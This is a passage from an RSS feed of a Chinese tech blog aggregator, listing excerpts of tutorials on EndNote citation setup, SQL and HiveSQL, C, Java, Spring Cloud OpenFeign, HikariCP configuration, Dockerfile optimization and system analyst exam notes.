      <description>endnote下载地址 文献管理软件 EndNote X9.3.3 中科大批量授权版(中文一键直装)&#xA;GBT7714格式下载地址 Chinese Standard GBT7714 (numeric)&#xA;第一步：下载endnote，中科大批量授权版可以直接安装不需要破解。全部按默认选项安装，安装完成后，word或wps的工具栏会有 endnote选项&#xA;第二步：下载需要的格式文件。毕业论文一般使用GBT7714格式，在endnote官网即可下载 Chinese Standard GBT7714 (numeric)。下载完成后，将格式文件放到Endnote安装目录下Styles文件夹中。&#xA;第三步：从知网下载论文索引信息。&#xA;第四步：打开endnote，点击 file-&amp;gt;new ，添加新的数据库。&#xA;第五步：点击 file-&amp;gt; import file -&amp;gt; file。在弹出的对话框中，Import file选择第三步下载到的txt文件，Import Option选择 Endnote Import.其他选项默认，点击 import 完成导入。&#xA;第六步：此步可选。如果有pdf格式的论文文件，可以选中endnote中对应的论文后，点击右面的附件符号，上传pdf文件，这样就可以在endnote中看论文了。&#xA;第七步：打开wps，将endnote设置为第二步中下载的格式。&#xA;第八步：在需要插入文献的位置点击 Insert Citation。&#xA;在弹出的对话框上搜索想要插入的文献。选中后点击 Insert&#xA;成功插入效果如下&#xA;第九步：调整首行缩进。endnote默认的序号和文献之间的空间过大。毕业论文中一般需要将它调节为只空一格。首先，打开endnote。点击edit-&amp;gt;output styles-&amp;gt;edit GBT7714(即需要调整的格式)。在弹出的对话框中，选择Bibliography节点下的layout。在右侧，仅保留[Bibliography Number]，然后在后面加一个空格。endnote会将输入的空格显示为图中的.&#xA;第十步：调整多行参考文献的缩进。打开wps，点击edit&amp;amp;manage&#xA;在对话框中选择 Tools -&amp;gt; configure Bibliography 。&#xA;修改 hanging的值。由默认的1.270改为0.635即可。&#xA;调整完缩进后效果如图&#xA;参考网站&#xA;Endnote 使用简易教程（科研狗必备）&#xA;在endnote中添加Chinese Standard GBT7714格式&#xA;Endnote插入参考文献的对齐方式和缩进空格修改</description>
    </item>
    <item>
      <title>SQL入门之第二一讲——IF函数的使用</title>
      <link>https://bchobby.github.io/posts/5df44f7916932cb628b5c4ed9bedd006/</link>
      <pubDate>Sun, 15 May 2022 21:13:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5df44f7916932cb628b5c4ed9bedd006/</guid>
      <description>IF函数主要有：IF函数嵌套和IF+聚合函数 两类，主要是用来根据条件返回不同值。&#xA;基本语法为;&#xA;IF(条件表达式,值1,值2) 如果条件表达式为True，返回值1，为False,返回值2.返回值可以是任何值，比如：数值，文本，日期，空值，NULL，数学表达式，函数等。 1、IF函数 实例1：在学生表中，将1995年以后出生的学生划分为2班，将1995年(包括1995)之前的学生划分为1班，最后显示Sname,Sage,所在班级这三列。&#xA;select Sname as &#39;学生姓名&#39;, Sage as &#39;学生年龄&#39;, IF(YEAR(Sage)&amp;lt;=1995,&#39;1班&#39;,&#39;2班&#39;) as &#39;所在班级&#39; from students ORDER BY Sage; 2、IF函数嵌套 当分类大于两种或者以上时，就可以使用IF函数嵌套。 实例2：在学生表中，将学生编号小于等于3的学生，分为1班，学生编号在4-6的学生，分为2班，学生编号大于等于7的学生，分为3班，最后显示Sid,Sname,所在班级这三列。&#xA;select Sid as &#39;学生编号&#39;, Sname as &#39;学生姓名&#39;, IF( Sid &amp;lt;= 3,&#39;1班&#39;, IF(Sid &amp;gt;= 7,&#39;3班&#39;,&#39;2班&#39;) ) as &#39;所在班级&#39; from students order by Sid 3、IF + 聚合函数 IF 还经常与聚合函数一起结合使用 实例3：将学生表和教师结合使用，计算班主任所带的学生数量，大于等于5人以上的显示：5人以上，人数小于5人的显示：5人以下。&#xA;select t.Tname as &#39;老师姓名&#39;, count(*) as &#39;人数&#39;, IF( count(*) &amp;gt;= 5,&#39;5人以上&#39;,&#39;5人以下&#39; ) as &#39;分类&#39; from teachers as t join students as s using(Tid) GROUP BY t.</description>
    </item>
    <item>
      <title>linux c语言 线程sleep有关测试总结</title>
      <link>https://bchobby.github.io/posts/439672dddbaf0abfa41fd8168345d10d/</link>
      <pubDate>Sun, 15 May 2022 15:13:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/439672dddbaf0abfa41fd8168345d10d/</guid>
      <description>1.线程中不使用sleep，不会造成线程切换问题。&#xA;2.线程中使用sleep，会使cpu的占有率降低。让其他线程或进程，运行得更有效。&#xA;3.使用sleep(0)和不使用sleep，效果差别不大，都不会使cpu睡眠。usleep(0)和usleep(1)效果相同，都会使cpu睡眠。&#xA;4.信号量和互斥锁阻塞时候都不会占用cpu。&#xA;5.nanosleep没有令cpu睡眠时间比usleep(1)更短。&#xA;6.如果需要cpu快速运行，又能获得睡眠，可以使用循环一定次数后，用usleep(1)睡眠一次。&#xA;参考：&#xA;信号量和互斥锁阻塞时，cpu占用率测试_工程师-CSDN博客&#xA;Linux c语言sleep多线程while循环实验_工程师-CSDN博客&#xA;linux c语言sleep不占用cpu的验证_工程师-CSDN博客&#xA;linux c语言sleep的时间实验_工程师-CSDN博客&#xA;linux C 多线程_工程师-CSDN博客&#xA;互斥锁机制，互斥锁与读写锁区别_CET4_的博客-CSDN博客_读写锁和互斥锁的区别&#xA;Linux内核锁机制——信号量、互斥锁、自旋锁、原子操作详解 - 百度文库 (baidu.com)&#xA;posix多线程有感--自旋锁-taohorse-ChinaUnix博客&#xA;pthread_spin自旋锁_gdut17的博客-CSDN博客_pthread_spin_init&#xA;linux多线程：自旋锁_老王不让用的博客-CSDN博客_pthread_spin_init</description>
    </item>
    <item>
      <title>详解 —— HTTP协议</title>
      <link>https://bchobby.github.io/posts/4cc56bf162886d3c1438bcaddabd155a/</link>
      <pubDate>Sun, 15 May 2022 15:11:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4cc56bf162886d3c1438bcaddabd155a/</guid>
      <description>目录&#xA;1 HTTP协议格式和抓取&#xA;1.1 HTTP抓取&#xA;1.2 格式总结&#xA;2 请求的格式&#xA;2.1 请求行&#xA;2.2 请求头&#xA;2.3 空行&#xA;2.4 请求正文 3 响应的格式&#xA;3.1 首行&#xA;3.2 响应头&#xA;3.3 空行&#xA;3.4 响应正文 4 HTTP请求&#xA;4.1 认识URL&#xA;URL encode/decode 4.2 HTTP方法&#xA;5 HTTPS&#xA;5.1 SSL/TLS&#xA;HTTP是基于TCP处于应用层的一种协议，与传输层协议不同，它关注的不是像TCP那样的可靠传输，而是站在应用的角度，对传输的信息来具体的使用。HTTP广泛应用于手机APP和浏览器之中。 1 HTTP协议格式和抓取 我们之前已经讨论过了关于TCP和UDP这两种协议了，而上述的两种协议是属于“二进制协议”，通常需要理解到二进制的bit位（例如TCP中的六位标志位，若代表ACK的那一位为1，则代表这一条为ACK）。&#xA;HTTP属于文本格式的协议，因此不需要去理解具体的二进制位，而只需要理解文本格式即可，也更方便用肉眼去观察。&#xA;1.1 HTTP抓取 而想要获取一些具体的HTTP交互过程中的信息，就需要一些抓包工具了。我们可以将这些抓包工具看做是一个代理 ，请求和响应都需要路过代理，这时候在代理上就很容易获取到请求和响应的详细信息了，我当前使用的是Fiddler。&#xA;Fiddler左侧是一个列表，显示了当前抓到的所有HTTP/HTTPS的数据报。&#xA;当选中左侧列表中的某个条目，双击的时候，右侧就会显示这个条目的详细信息。 其中上面的那部分是HTTP请求，下面的是HTTP响应。&#xA;但是我们会发现上述两个信息框里大半都是乱码信息，我们就需要选择Row这一选项来观察这些信息的本体，其它选项相当于Fiddler对数据进行了一些加工。以下就是请求原来的样子：&#xA;针对响应也是一样，但不一样的是响应是经过压缩的，所以还需要要经过解压缩之后才能看到本体&#xA;1.2 格式总结 2 请求的格式 HTTP的请求分成四个部分：1、请求行；2、请求报头；3、空行；4、请求正文&#xA;2.1 请求行 请求行包括三部分，每一部分之间用空格隔开，它们分别是：&#xA;HTTP方法：大概，描述了这个请求想要干什么，例如get意思就是想从服务器获取到什么&#xA;URL：描述了要访问的网络上的资源具体是在哪&#xA;版本号：表示当前使用的HTTP的版本是什么，目前常用的版本是1.1&#xA;2.2 请求头 这一部分一般有很多行，每一行都是一个键值对，键和值之间通过 ：空格 来分割。</description>
    </item>
    <item>
      <title>【保姆级讲解】C语言---预编译处理精华</title>
      <link>https://bchobby.github.io/posts/cd4fe438e6563ea74474ecd9782fecbc/</link>
      <pubDate>Sat, 14 May 2022 21:50:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cd4fe438e6563ea74474ecd9782fecbc/</guid>
      <description>预编译处理 1.1预编译处理概述 预编译处理也称为编译预处理，是在程序正式编译之前需要进行的前期编译处理阶段。主要作用是向编译器传递信息。以井号（“#”）开头的命令都是编译预处理命令，并且编译预处理命令后面没有分号（“;”）。&#xA;预处理:头文件 #include &amp;lt;stdio.h&amp;gt; 预处理阶段进行的(完成替换) 后面没有;&#xA;预处理阶段相关命令:GNU套件中的gcc编译器 参数-E 生成文件后缀为xxx.i&#xA;未包含头文件的预处理与源文件的比较:&#xA;编译预处理命令格式:gcc -E 1.c -o 1.i&#xA;包含头文件的预处理与源文件的比较:&#xA;进行替换:&#xA;预处理==替换&#xA;1.2常用预编译处理命令 文件包含命令（#include） #include预编译命令主要用于插入（包含）头文件。使用“#include &amp;lt;头文件名称&amp;gt;”或“#include “头文件名称””的格式来插入（包含）一个具体的头文件。尖括号（&amp;lt;&amp;gt;）和双引号（””）表示头文件的查找路径不同：&#xA;&amp;lt;&amp;gt;：在系统指定目录（软件安装目录）下查找需要插入的头文件。 Linux中寻找的为/usr/include/文件夹;&#xA;“”：在整个工程目录下查找插入的头文件，如果找不到，再到系统指定目录（软件安装目录）下查找。 情况1:&#xA;#include “stdio.h”&#xA;如果你的工程目录下有stdio.h则发生替换需要采用工程下stdio.h不再使用标准库下的stdio.h&#xA;如果您的工程目录下没有stdio.h则查找标准库下的头文件;&#xA;以上编译器首先查找当前工程目录下stdio.h；找到出现错误---没有printf函数;&#xA;情况2:&#xA;自己编写字符串函数头文件为string.h，即可抛出标准库string.h----头文件格式一定是””；&#xA;情况3:&#xA;当前目录下没有stdio.h文件,采用#include ”stdio.h”形式,归根到底还是查找标准库中的&amp;lt;stdio.h&amp;gt;;这样做的结果是:编译预处理时间耗时变长;(查找是需要时间的);&#xA;以后#include “”与&amp;lt;&amp;gt;要合理;&#xA;宏定义（#define） 宏定义概述 宏定义就是替换的意思，主要是把表达式、常量等内容，利用一个自定义的标识符号进行替换。&#xA;替换意思：位置不变 只替换内容&#xA;原:Abcdef:将cd替换为12 结果:Ab12ef&#xA;宏应用 无参宏 无参宏是指这个宏定义不需要参数的输入，仅仅是用于替换。使用“#define A B”的格式来进行无参宏定义。&#xA;替换一个数据类型 -- #define 别名 数据类型 #include &amp;lt;stdio.h&amp;gt;&#xA;//a）替换一个数据类型 -- #define 别名 数据类型 #define DATA_INT int //宏定义为大写标识</description>
    </item>
    <item>
      <title>C语言操作符—左移右移操作符</title>
      <link>https://bchobby.github.io/posts/06cb365fa14adfaaa4acf438c3bdc937/</link>
      <pubDate>Sat, 14 May 2022 18:32:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/06cb365fa14adfaaa4acf438c3bdc937/</guid>
      <description>文章目录 1、移位操作符十进制转二进制 1.2 &amp;lt;&amp;lt; 左移操作符1.2.1 &amp;gt;&amp;gt; 左移操作符 —— 正数1.2.2 &amp;gt;&amp;gt; 左移操作符 —— 负数 1.3 &amp;gt;&amp;gt; 右移操作符`注意：移位操作符的操作数只能是整数` 1、移位操作符 移位操作符移动的是二进制位&#xA;只支持整数不支持浮点数&#xA;十进制转二进制 123&#xA;十进制的 123&#xA;从右往左 下标&#xA;3 x 100 = 3&#xA;2 x 101 = 20&#xA;1 x 102 = 100&#xA;3 x 100+2 x 101+1 x 102 = 123&#xA;第一位为符号位负数为1整数为0 7&#xA;00000000 00000000 00000000 00000111 -原码&#xA;00000000 00000000 00000000 00000111 - 反码&#xA;00000000 00000000 00000000 00000111 - 补码&#xA;-7 10000000 00000000 00000000 00000111 -原码</description>
    </item>
    <item>
      <title>Java——I/O(输入/输出)</title>
      <link>https://bchobby.github.io/posts/bb8f61a4fceb3adf69e2893fd225ab15/</link>
      <pubDate>Sat, 14 May 2022 16:24:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bb8f61a4fceb3adf69e2893fd225ab15/</guid>
      <description>1、File类 File类中的java.io包是唯一代表磁盘文件本身的对象，能够创建、删除或重命名文件，判断硬盘上某个文件是否存在，查询文件最后修改时间等。&#xA;File类的常用的构造方法&#xA;1.1 创建File对象&#xA;所有的构造方法都需要传入文件的路径。如上图，如果程序只处理一个目录或文件，并且知道该目录或文件的路径，使用第一个构造方法较方便。如果程序处理的是一个公共目录中的若干子目录或文件，那么使用第二个或者第三个构造方法会更方便。&#xA;【案例】，&#xA;需要注意的是在创建File文件时传入的路径使用了&#34; \\ &#34; ，这是因为在windows中目录符号为反斜线&#34; \ &#34;，但反斜线在java中是特殊字符，表示转义符，所以使用反斜线时，前面应该再添加一个反斜线，即为&#34; \\ &#34;，除此之外，目录符号还可以用正斜线&#34; / &#34;表示，如：src/Hello.java&#xA;import java.io.File; public class test{ public static void main (String[] args){ File f = new File(&#34;E:\\Java base\\第七章IO\\a.txt&#34;); //使用绝对路径构造File对象 File f1=new File(&#34;src\\Hello.java&#34;); //使用相对路径构造File对象 System.out.println(f); System.out.println(f1); } } 【运行结果】&#xA;1.2 File类的常用方法&#xA;File类提供了一系列方法，用于操作其内部封装的路径指向的文件或目录。例如，判断文件或目录是否存在，文件的创建于删除文件等，如下图：&#xA;【案例】&#xA;import java.io.File; import java.io.IOException; public class test{ public static void main (String[] args)throws IOException{ File f = new File(&#34;E:\\Java base\\第七章IO\\b.txt&#34;); //使用绝对路径构造File对象 if(f.</description>
    </item>
    <item>
      <title>Spring Cloud OpenFeign源码解析</title>
      <link>https://bchobby.github.io/posts/44bcb17cc210419eef936b3b7de3f095/</link>
      <pubDate>Sat, 14 May 2022 15:17:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/44bcb17cc210419eef936b3b7de3f095/</guid>
      <description>1 概述 在Spring Cloud微服务体系中，服务于服务之间的调用，是避免不了的， 我们可以通过Http请求的方式进行调用，当然这样并不是一个很好的选择， OpenFeign是一个http请求调用的轻量级框架，可以以Java接口注解的方式调用Http请求， 而不用像Java中通过封装HTTP请求报文的方式直接调用。 同时OpenFeign的使用也比较简单，一般我们通过两个注解进行配置即可， `@FeignClient`和`@EnableFeignClients`. 2 注解的属性含义 @EnableFeignClients @Retention(RetentionPolicy.RUNTIME) @Target(ElementType.TYPE) @Documented @Import(FeignClientsRegistrar.class) public @interface EnableFeignClients { //属性的别名，可类比：@ComponentScan注解 String[] value() default {}; //扫描包下带注释的组件 String[] basePackages() default {}; //basePackages() 的类型安全的替代方法，用于指定要扫描带注释的组件的软件包，指定类别的包装将被扫描。 Class&amp;lt;?&amp;gt;[] basePackageClasses() default {}; //适用于所有自定义@Configuration,可以包含组成客户端的部分的@Bean Class&amp;lt;?&amp;gt;[] defaultConfiguration() default {}; //用@FeignClient注释的类的列表，如果不为空，则禁用类路径*扫描。 Class&amp;lt;?&amp;gt;[] clients() default {}; } @FeignClient @Target(ElementType.TYPE) @Retention(RetentionPolicy.RUNTIME) @Documented public @interface FeignClient { //指定FeignClient的名称，如果项目使用了Ribbon，name属性会作为微服务的名称，用于服务发现 @AliasFor(&#34;name&#34;) String value() default &#34;&#34;; /** * The service id with optional protocol prefix.</description>
    </item>
    <item>
      <title>springcloud feign本地微服务之间的相互调用</title>
      <link>https://bchobby.github.io/posts/b5267413d447c3761fe199032352adb6/</link>
      <pubDate>Sat, 14 May 2022 12:51:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b5267413d447c3761fe199032352adb6/</guid>
      <description>一、随着项目微服务数量越来越多，本地调试的时候很容易把请求打到别人的机器上或者云上环境，所以用自定义注解的方式实现微服务本地之间调用，使用起来也非常简单，只需要在启动类上加一个注解即可。&#xA;1.编写自定义注解&#xA;import org.springframework.context.annotation.Import; import java.lang.annotation.*; @Retention(RetentionPolicy.RUNTIME) @Target({ElementType.TYPE}) @Documented @Import(FeignClientsServiceNameAppendBeanPostProcessor.class) public @interface EnableLocalHostFeign { String[] serverNameAndUrl() default {}; } 2：加一个规则配置类，在bean交给spring管理之前更改url&#xA;import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import org.springframework.beans.BeansException; import org.springframework.beans.factory.config.BeanPostProcessor; import org.springframework.context.ApplicationContext; import org.springframework.context.ApplicationContextAware; import org.springframework.core.annotation.AnnotationUtils; import org.springframework.scheduling.annotation.Async; import org.springframework.util.ReflectionUtils; import java.lang.reflect.Field; import java.util.Objects; import java.util.concurrent.atomic.AtomicInteger; import java.util.regex.Pattern; @Slf4j public class FeignClientsServiceNameAppendBeanPostProcessor implements BeanPostProcessor, ApplicationContextAware { private ApplicationContext applicationContext; private AtomicInteger atomicInteger = new AtomicInteger(); private static final Pattern pattern = Pattern .</description>
    </item>
    <item>
      <title>HikariDataSource 配置详解</title>
      <link>https://bchobby.github.io/posts/bb3c9db42c7a473489c1b9e3515614a0/</link>
      <pubDate>Sat, 14 May 2022 11:48:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bb3c9db42c7a473489c1b9e3515614a0/</guid>
      <description>#数据源类型 spring.datasource.type=com.zaxxer.hikari.HikariDataSource #连接池名称，默认HikariPool-1 spring.datasource.hikari.pool-name=KevinHikariPool #最大连接数，小于等于0会被重置为默认值10；大于零小于1会被重置为minimum-idle的值 spring.datasource.hikari.maximum-pool-size=12 #连接超时时间:毫秒，小于250毫秒，否则被重置为默认值30秒 spring.datasource.hikari.connection-timeout=60000 #最小空闲连接，默认值10，小于0或大于maximum-pool-size，都会重置为maximum-pool-size spring.datasource.hikari.minimum-idle=10 #空闲连接超时时间，默认值600000（10分钟），大于等于max-lifetime且max-lifetime&amp;gt;0，会被重置为0；不等于0且小于10秒，会被重置为10秒。 # 只有空闲连接数大于最大连接数且空闲时间超过该值，才会被释放 spring.datasource.hikari.idle-timeout=500000 #连接最大存活时间.不等于0且小于30秒，会被重置为默认值30分钟.设置应该比mysql设置的超时时间短 spring.datasource.hikari.max-lifetime=540000 #连接测试查询 spring.datasource.hikari.connection-test-query=SELECT 1 idleTimeout 默认是600000毫秒，即10分钟。如果idleTimeout+1秒&amp;gt;maxLifetime 且 maxLifetime&amp;gt;0，则会被重置为0；如果idleTimeout!=0且小于10秒，则会被重置为10秒。如果idleTimeout=0则表示空闲的连接在连接池中永远不被移除。&#xA;只有当minimumIdle小于maximumPoolSize时，这个参数才生效，当空闲连接数超过minimumIdle，而且空闲时间超过idleTimeout，则会被移除。&#xA;minimumIdle 控制连接池空闲连接的最小数量，当连接池空闲连接少于minimumIdle，而且总共连接数不大于maximumPoolSize时，HikariCP会尽力补充新的连接。为了性能考虑，不建议设置此值，而是让HikariCP把连接池当做固定大小的处理，默认minimumIdle与maximumPoolSize一样。&#xA;当minIdle&amp;lt;0或者minIdle&amp;gt;maxPoolSize,则被重置为maxPoolSize，该值默认为10。&#xA;完整配置项如下：&#xA;name描述构造器默认值默认配置validate之后的值validate重置autoCommit自动提交从池中返回的连接TRUETRUE–connectionTimeout等待来自池的连接的最大毫秒数SECONDS.toMillis(30) = 3000030000如果小于250毫秒，则被重置回30秒idleTimeout连接允许在池中闲置的最长时间MINUTES.toMillis(10) = 600000600000如果idleTimeout+1秒&amp;gt;maxLifetime 且 maxLifetime&amp;gt;0，则会被重置为0（代表永远不会退出）；如果idleTimeout!=0且小于10秒，则会被重置为10秒maxLifetime池中连接最长生命周期MINUTES.toMillis(30) = 18000001800000如果不等于0且小于30秒则会被重置回30分钟connectionTestQuery如果您的驱动程序支持JDBC4，我们强烈建议您不要设置此属性nullnull–minimumIdle池中维护的最小空闲连接数-110minIdle&amp;lt;0或者minIdle&amp;gt;maxPoolSize,则被重置为maxPoolSizemaximumPoolSize池中最大连接数，包括闲置和使用中的连接-110如果maxPoolSize小于1，则会被重置。当minIdle&amp;lt;=0被重置为DEFAULT_POOL_SIZE则为10;如果minIdle&amp;gt;0则重置为minIdle的值metricRegistry该属性允许您指定一个 Codahale / Dropwizard MetricRegistry 的实例，供池使用以记录各种指标nullnull–healthCheckRegistry该属性允许您指定池使用的Codahale / Dropwizard HealthCheckRegistry的实例来报告当前健康信息nullnull–poolName连接池的用户定义名称，主要出现在日志记录和JMX管理控制台中以识别池和池配置nullHikariPool-1–initializationFailTimeout如果池无法成功初始化连接，则此属性控制池是否将 fail fast11–isolateInternalQueries是否在其自己的事务中隔离内部池查询，例如连接活动测试FALSEFALSE–allowPoolSuspension控制池是否可以通过JMX暂停和恢复FALSEFALSE–readOnly从池中获取的连接是否默认处于只读模式FALSEFALSE–registerMbeans是否注册JMX管理Bean（MBeans）FALSEFALSE–catalog为支持 catalog 概念的数据库设置默认 catalogdriver defaultnull–connectionInitSql该属性设置一个SQL语句，在将每个新连接创建后，将其添加到池中之前执行该语句。nullnull–driverClassNameHikariCP将尝试通过仅基于jdbcUrl的DriverManager解析驱动程序，但对于一些较旧的驱动程序，还必须指定driverClassNamenullnull–transactionIsolation控制从池返回的连接的默认事务隔离级别nullnull–validationTimeout连接将被测试活动的最大时间量SECONDS.toMillis(5)&#xA;= 50005000如果小于250毫秒，则会被重置回5秒leakDetectionThreshold记录消息之前连接可能离开池的时间量，表示可能的连接泄漏00如果大于0且不是单元测试，则进一步判断：(leakDetectionThreshold &amp;lt; SECONDS.toMillis(2) or (leakDetectionThreshold &amp;gt; maxLifetime &amp;amp;&amp;amp; maxLifetime &amp;gt; 0)，会被重置为0 . 即如果要生效则必须&amp;gt;0，而且不能小于2秒，而且当maxLifetime &amp;gt; 0时不能大于maxLifetimedataSource这个属性允许你直接设置数据源的实例被池包装，而不是让HikariCP通过反射来构造它nullnull–schema该属性为支持模式概念的数据库设置默认模式driver defaultnull–threadFactory此属性允许您设置将用于创建池使用的所有线程的java.util.concurrent.ThreadFactory的实例。nullnull– scheduledExecutor</description>
    </item>
    <item>
      <title>dockerfile优化</title>
      <link>https://bchobby.github.io/posts/b188866f1ebc7301ceac706618559c58/</link>
      <pubDate>Fri, 13 May 2022 23:13:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b188866f1ebc7301ceac706618559c58/</guid>
      <description>目录&#xA;优化前示例&#xA;优化方法1：不需要输出的指令丢入/dev/null （需要确定命令执行的是正确的）&#xA;优化方法2：减少RUN构建&#xA;优化方法3：多阶段构建（使用FROM命令生成多个镜像，将指定的镜像做为其他镜像的基础镜像环境来构建）&#xA;优化方法4: 使用更为轻量级的linux 发行版本&#xA;优化后的效果：&#xA;优化前示例 mkdir /nginx FROM centos:7 RUN yum install -y gcc pcre pcre-devel devel zlib-devel make ADD nginx-1.15.9.tar.gz /mnt WORKDIR /mnt/nginx-1.15.9 #关闭debug日志 RUN sed -i &#39;s/CFLAGS=&#34;$CFLAGS -g&#34;/#CFLAGS=&#34;$CFLAGS -g&#34;/g&#39; auto/cc/gcc RUN ./configure --prefix=/usr/local/nginx RUN make RUN make install EXPOSE 80 VOLUME [&#34;/usr/local/nginx/html&#34;] 优化方法1：不需要输出的指令丢入/dev/null （需要确定命令执行的是正确的） 减少不必要的缓存（丢到黑洞）删除不必要的缓存文件/磁盘文件&#xA;FROM centos:7 RUN yum install -y gcc pcre pcre-devel devel zlib-devel make &amp;amp;&amp;gt; /dev/null &amp;amp;&amp;amp; yum clean all ADD nginx-1.</description>
    </item>
    <item>
      <title>dockerfile</title>
      <link>https://bchobby.github.io/posts/60f5ad192689e6ad807e86eb0e2b6e53/</link>
      <pubDate>Fri, 13 May 2022 22:05:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/60f5ad192689e6ad807e86eb0e2b6e53/</guid>
      <description>当我在dockerfile里面想安装torchvision&#xA;WORKDIR vision-0.8.1 WORKDIR相当于cd，进入文件夹执行&#xA;RUN python3 setup.py install --user 想要安装时，报错&#xA;Traceback (most recent call last): File &#34;setup.py&#34;, line 12, in &amp;lt;module&amp;gt; import torch File &#34;/usr/local/lib/python3.6/site-packages/torch/__init__.py&#34;, line 189, in &amp;lt;module&amp;gt; _load_global_deps() File &#34;/usr/local/lib/python3.6/site-packages/torch/__init__.py&#34;, line 142, in _load_global_deps ctypes.CDLL(lib_path, mode=ctypes.RTLD_GLOBAL) File &#34;/usr/local/lib/python3.6/ctypes/__init__.py&#34;, line 348, in __init__ self._handle = _dlopen(self._name, mode) OSError: libmpi_cxx.so.20: cannot open shared object file: No such file or directory The command &#39;/bin/sh -c python3 setup.py install --user&#39; returned a non-zero code: 1 从这个错误来看是缺少libopenblas，但我在dockerfile前面步骤装过了</description>
    </item>
    <item>
      <title>HiveSQL正则表达式的应用</title>
      <link>https://bchobby.github.io/posts/54bded08f5cd1701806316d05e70ccfe/</link>
      <pubDate>Fri, 13 May 2022 18:39:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/54bded08f5cd1701806316d05e70ccfe/</guid>
      <description>最近工作中数据处理方面用到很多不是特别容易处理的数据，用正则表达式的话会让语句显得特别精简，也可以用各种字符串截取函数嵌套处理（必须要有一定规律），总结一下经常用到的几个。&#xA;1.正则的通配符简介 1）正则表达式的符号及意义 ^ 表示开头&#xA;$ 表示结尾&#xA;. 表示任意字符&#xA;* 表示任意多个&#xA;/ 做为转意，即通常在&#34;/&#34;后面的字符不按原来意义解释，如/b/匹配字符&#34;b&#34;，当b前面加了反斜杆后//b/，转意为匹配一个单词的边界。&#xA;-或- 对正则表达式功能字符的还原，如&#34;*&#34;匹配它前面元字符0次或多次，/a*/将匹配a,aa,aaa，加了&#34;/&#34;后，/a/*/将只匹配&#34;a*&#34;。&#xA;^匹配一个输入或一行的开头，/^a/匹配&#34;an A&#34;，而不匹配&#34;An a&#34;$匹配一个输入或一行的结尾，/a$/匹配&#34;An a&#34;，而不匹配&#34;an A&#34;*匹配前面元字符0次或多次，/ba*/将匹配b,ba,baa,baaa+匹配前面元字符1次或多次，/ba+/将匹配ba,baa,baaa?匹配前面元字符0次或1次，/ba?/将匹配b,ba(x)匹配x保存x在名为$1...$9的变量中x|y匹配x或y{n}精确匹配n次{n,}匹配n次以上{n,m}匹配n-m次[xyz]字符集(character set)，匹配这个集合中的任一一个字符(或元字符)[^xyz]不匹配这个集合中的任何一个字符[/b]匹配一个退格符/b匹配一个单词的边界/B匹配一个单词的非边界/cX这儿，X是一个控制符，//cM/匹配Ctrl-M/d匹配一个字数字符，//d/ = /[0-9]//D匹配一个非字数字符，//D/ = /[^0-9]//n匹配一个换行符/r匹配一个回车符/s匹配一个空白字符，包括/n,/r,/f,/t,/v等/S匹配一个非空白字符，等于/[^/n/f/r/t/v]//t匹配一个制表符/v匹配一个重直制表符/w匹配一个可以组成单词的字符(alphanumeric，这是我的意译，含数字)，包括下划线，如[/w]匹配&#34;$5.98&#34;中的5，等于[a-zA-Z0-9]/W匹配一个不可以组成单词的字符，如[/W]匹配&#34;$5.98&#34;中的$，等于[^a-zA-Z0-9]。 &#39;( )&#39; 标记一个子表达式的开始和结束位置。&#xA;&#39;[]&#39; 标记一个中括号表达式。&#xA;/num 匹配 num，其中 num 是一个正整数。对所获取的匹配的引用。&#xA;2）字符簇： [[:alpha:]] 任何字母。&#xA;[[:digit:]] 任何数字。&#xA;[[:alnum:]] 任何字母和数字。&#xA;[[:space:]] 任何白字符。&#xA;[[:upper:]] 任何大写字母。&#xA;[[:lower:]] 任何小写字母。&#xA;[[:punct:]] 任何标点符号。&#xA;[[:xdigit:]] 任何16进制的数字，相当于[0-9a-fA-F]&#xA;[[:&amp;lt;:]],[[:&amp;gt;:]] 标记表示word边界。它们分别与word的开始和结束匹配。word是一系列字字符，其前面和后面均没有字字符。字字符是alnum类中的字母数字字符或下划线(_)&#xA;3）各种操作符的运算优先级： / 转义符&#xA;(), (?:), (?=), [] 圆括号和方括号&#xA;*, +, ?, {n}, {n,}, {n,m} 限定符</description>
    </item>
    <item>
      <title>软考高级系统分析师知识点整理</title>
      <link>https://bchobby.github.io/posts/d584c286b9f75e18ce48b9d2c028f03f/</link>
      <pubDate>Fri, 13 May 2022 13:25:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d584c286b9f75e18ce48b9d2c028f03f/</guid>
      <description>系统分析师知识点整理 信息化战略体系&#xA;企业战略规划：企业如何达到目标信息系统战略规划：信息系统如何支撑这些目标信息技术战略规划（IT战略规划）：需要哪些信息技术支撑信息系统信息资源规划：信息化建设具体项目的实施。（功能建模、数据建模、ER模型） 企业战略与信息化战略集成方法&#xA;业务与IT整合（BITA）：重心是找业务与现有IT系统之间的不一致，并给出转变计划企业IT架构（EITA）：帮助IT企业建立IT的原则规范、模式和标准 信息系统战略规划方法&#xA;第一阶段，以数据处理为核心，围绕职能部门需求 企业系统规划法（BSP）关键成功因素法（CSF）战略集合转化法（SST）第二阶段，以企业内部管理信息系统（MIS）为核心，围绕企业整体需求 战略数据规划法（SDP）信息工程法（IE）战略栅格法（SG）第三阶段，综合考虑企业内外环境，以集成为核心，围绕企业战略需求 价值链分析法（VCA）战略一致性模型（SAM） 信息系统开发方法&#xA;结构化法 将系统的生命周期划分为系统规划、系统分析、系统设计、系统实施和系统维护等阶段开发目标清晰化；开发工作阶段化；开发文档规范化；设计方法结构化精髓是自顶向下、逐步分解（求精）和模块化设计适合数据处理领域的问题，不适用于规模较大、比较复杂的系统开发，局限性体现在开发周期长，难以适应需求变化，很少考虑数据结构。原型法 根据用户初步需求，利用系统开发工具，快速建立一个系统模型展示给用户，在此基础上与用户交流，最终实现用户需求。适用于需求不明确的开发包括抛弃型原型和演化型原型面向对象方法 